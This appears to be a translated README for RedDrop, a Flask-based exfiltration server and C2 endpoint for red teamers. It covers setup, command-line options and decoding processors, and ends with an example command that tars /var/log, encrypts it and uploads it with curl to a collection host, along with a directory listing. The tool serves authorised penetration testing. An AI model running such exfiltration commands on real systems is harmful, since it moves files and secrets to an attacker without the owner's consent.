
RedDrop 外泄服务器是一个基于 Python Flask 的 Web 服务器,专为渗透测试人员、红队成员和安全专业人士设计,具有以下功能:
本软件旨在作为一个基础 C2 端点,用于在各种场景下捕获 Web 请求数据。一些示例包括:

此项目仍在开发中,某些功能可能存在缺陷。如果遇到问题,请提交 Issue!
本软件不应直接暴露在公网上。它有意构建了某些人可能认为是任意文件上传漏洞的功能,并会在没有身份验证的情况下接受文件并保存到本地磁盘。务必采取适当措施,确保部署该软件的系统得到正确保护。以下是一些建议:
mkdir uploads logs
docker run --rm -t -v "$PWD/uploads:/reddrop/uploads" -v "$PWD/logs:/reddrop/logs" -p "80:80" --name reddrop cyberbutler/reddrop -h
pip install --user pipenv
pipenv install
pipenv shell
python reddrop-server.py -h
python reddrop-server.py -h
用于文件和 Web 数据外泄的服务器。
作者: @cyberbutler/@thecyberbutler
可选参数:
-h, --help 显示此帮助信息并退出
--host HOST, -H HOST 绑定的主机 IP 地址(默认值:
0.0.0.0)
--port PORT, -P PORT 绑定的端口(默认值:80)
-c CONFIG, --config CONFIG
YAML 配置文件路径(默认值:None)
--dump-config 以 YAML 格式转储配置设置
(默认值:False)
--debug 启用 Flask 调试模式(默认值:False)
-p {hex,openssl-aes256-pbkdf2,gzip,b64}, --processor {hex,openssl-aes256-pbkdf2,gzip,b64}
指定要使用的处理器。此标志可多次使用
以定义多个 process_list 函数。按希望的
处理顺序使用此标志(默认值:[])
-A, --auto-process, --no-auto-process
根据检测到的数据自动运行处理器。此选项默认
启用,但在收到意外输出时应禁用(--no-auto-
process)。例如,对非 Base64 编码的输出
运行 Base64 解码时。此时应使用 `-p` 标志
强制处理。(默认值:True)
--auto-extract-tar, -x
自动解压服务器接收到的 TAR 归档文件。
(默认值:False)
--encryption-password PROCESSOR_ARGUMENTS.OPENSSL-AES256-PBKDF2.PASSWORD
用于解密/加密的密码。
(默认值:EncryptMe)
-r AUTHORIZATION_RULES, --authorization_rules AUTHORIZATION_RULES
指定授权规则,拒绝与提供的键和正则表达式
值对不匹配的请求。格式为 <Key>=<Regex>。
(默认值:None)
-t TAGS, --tag TAGS 在日志以及文件上传的目录中标记本次会话
接收到的数据。示例:-t log4j -t acme.org
(默认值:None)
--tls-keyfile GUNICORN.KEYFILE
启用 TLS 支持。(仅生产环境)TLS 密钥文件路径
(默认值:None)
--tls-certfile GUNICORN.CERTFILE
启用 TLS 支持。(仅生产环境)TLS 证书文件路径
(默认值:None)
更多配置选项必须通过环境变量指定,使用 `--dump-config` 查看所有选项。
tar cz /var/log | base64 | xxd -ps | gzip | openssl enc -aes-256-cbc -pass 'pass:EncryptMe' -e -a -pbkdf2 | curl 172.17.0.1$PWD -F 'logs=@-' -F "listing=`ls -al * | gzip | base64`"
